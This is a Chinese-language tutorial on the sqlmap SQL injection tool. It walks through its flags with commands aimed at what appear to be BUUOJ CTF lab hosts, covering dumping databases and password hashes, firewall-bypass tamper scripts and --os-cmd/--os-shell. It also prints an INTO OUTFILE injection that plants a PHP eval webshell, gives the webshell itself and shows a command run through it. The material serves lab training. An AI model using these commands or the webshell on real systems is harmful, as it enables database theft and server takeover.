sqlmap的使用

sqlmap的使用

作用

可以自动探测和利用SQL注入漏洞来查询数据和getshell,可以脱裤(--dump-all),可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

工作流程

1)判断URL是否可连接------检查防火墙------判断注入点------判断是什么数据库

2)尝试各种类型的注入

各种参数

1、-u

用于一个url扫描

sqlmap -u "url带参数"

2、-m

用于多个url扫描,但是文件每一行只能有一个url

sqlmap -m 1. txt

3、-r

用于post注入,在要测试注入的参数后面加*

sqlmap -r 1.txt

直接写,工具会自动识别

4、-v

用于显示信息,默认为1,一般用3和4,都要背

0、只显示python错误以及严重的信息。

1、 同时显示基本信息和警告信息。(默认等级)

2、 同时显示debug信息。

3、 同时显示注入的payload。

4、 同时显示HTTP请求。

5、 同时显示HTTP响应头。

6、 同时显示HTTP响应页面。

5、--level

用于测请求头,但不想抓包,如果抓包可以直接加*的

sqlmap -r 1.txt --level=3

level>=2的时候就会测试HTTP Cookie

level>=3的时候就会测试HTTP User-Agent/Referer头

level=5的时候会测试HTTP Host

6、--data

用于把data后面的数据以POST方式提交,当参数是POST提交的时候,但没有抓取数据包

sqlmap -u "url" --data="id=1"

7、--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

基本格式:
sqlmap -u "url" --data="id=1" --cookie="Cookie: xxx;"

8、--user-agent

用于手动指定伪造一个User-Agent

sqlmap -u "url" --level 3 --user-agent="xxx"

9、--random-agent

用于随机生成UA,不过运行一次命令只能生成同一个UA

sqlmap -u "url" --level 3 --random-agent

10、--referer

用于手动指定伪造一个referer

sqlmap -u "url/?id=1" --referer="http://www.baidu.com"

11、-p

用于测试指定参数,和*,--level一样

sqlmap -u "url/?id=1" -p "id,user-angent"

12、--risk

共有三个风险等级,1-3:

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

sqlmap -u "url/?id=1" --risk=2

13、数据

-D 数据库名

-T 表名

-C 字段名

python sqlmap.py -u url -D ctftraining -T flag -C flag --dump

14、查询当前用户和密码

复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-1/?id=1   --users --passwords   


15、--os-cmd

用于执行系统命令,在退出命令行之后,系统会自动删掉写入的脚本,但是每运行一次都要去重新执行一次--os-cmd,所以getshell我们选择用--os-shell

python sqlmap.py -u http://b7cab4c1-88b5-4119-8cf5-eb5fd92b549a.node5.buuoj.cn/Less-1/?id=1 --os-cmd=ipconfig

执行结果:

该命令的原理就是写入木马,然后getshell

py 复制代码
id=1' union select '<?php  eval($_POST[1]);?>' into outfile '网站路径/文件名'

路径就是类似于下面这种,自己去猜

写入之后,再用蚁剑连接,密码是1,然后也可以在命令行执行命令

16、--os-shell

反弹交互shell

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1     --os-shell  


当页面出现os-shell时,就是已经连接成功了

17、--tamper

用于绕过防火墙

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1  --tamper  加需要的脚本名字

一句话木马

php 复制代码
<?php  eval($_POST["a"]);?>

eval是用于将字符串当成php代码执行

可在url上输入命令,来运行

php 复制代码
?a=echo `ipconfig`;
相关推荐
juniperhan1 天前
Flink 系列第24篇:Flink SQL 集成维度表指南:存储选型、参数调优与实战避坑
大数据·数据仓库·sql·flink
勿忘初心12211 天前
企业级敏感数据脱敏工具类(Java实现)
网络安全·后端开发·企业级开发·java 工具类·敏感数据脱敏·pipl
Chengbei111 天前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全
Gh0st_Lx1 天前
【6】为什么有了 HTTP/1.1 ,还要 HTTP/2 和 HTTP/3
网络协议·http·php
xingpanvip1 天前
星盘接口开发文档:组合三限盘接口指南
android·开发语言·前端·python·php·lua
冷小鱼1 天前
从关系模型(SQL)基石到AI与信创时代的智能查询语言
数据库·sql
庞轩px1 天前
致远互联实习复盘:一条SQL替代300次循环查询,组织架构选择器从5秒降到300毫秒
java·sql·mysql·mybatis·实习经历·n+1问题·join联表查询
liann1191 天前
3.4_Linux 应急响应排查速查命令表
linux·运维·服务器·安全·网络安全·系统安全
孪生质数-1 天前
Linux高危漏洞通报Copy Fail - CVE-2026-31431
linux·运维·服务器·ubuntu·网络安全·debian·cve-2026-31431
vortex51 天前
Villain:新一代轻量级 C2 框架完整使用指南
python·网络安全·kali·c2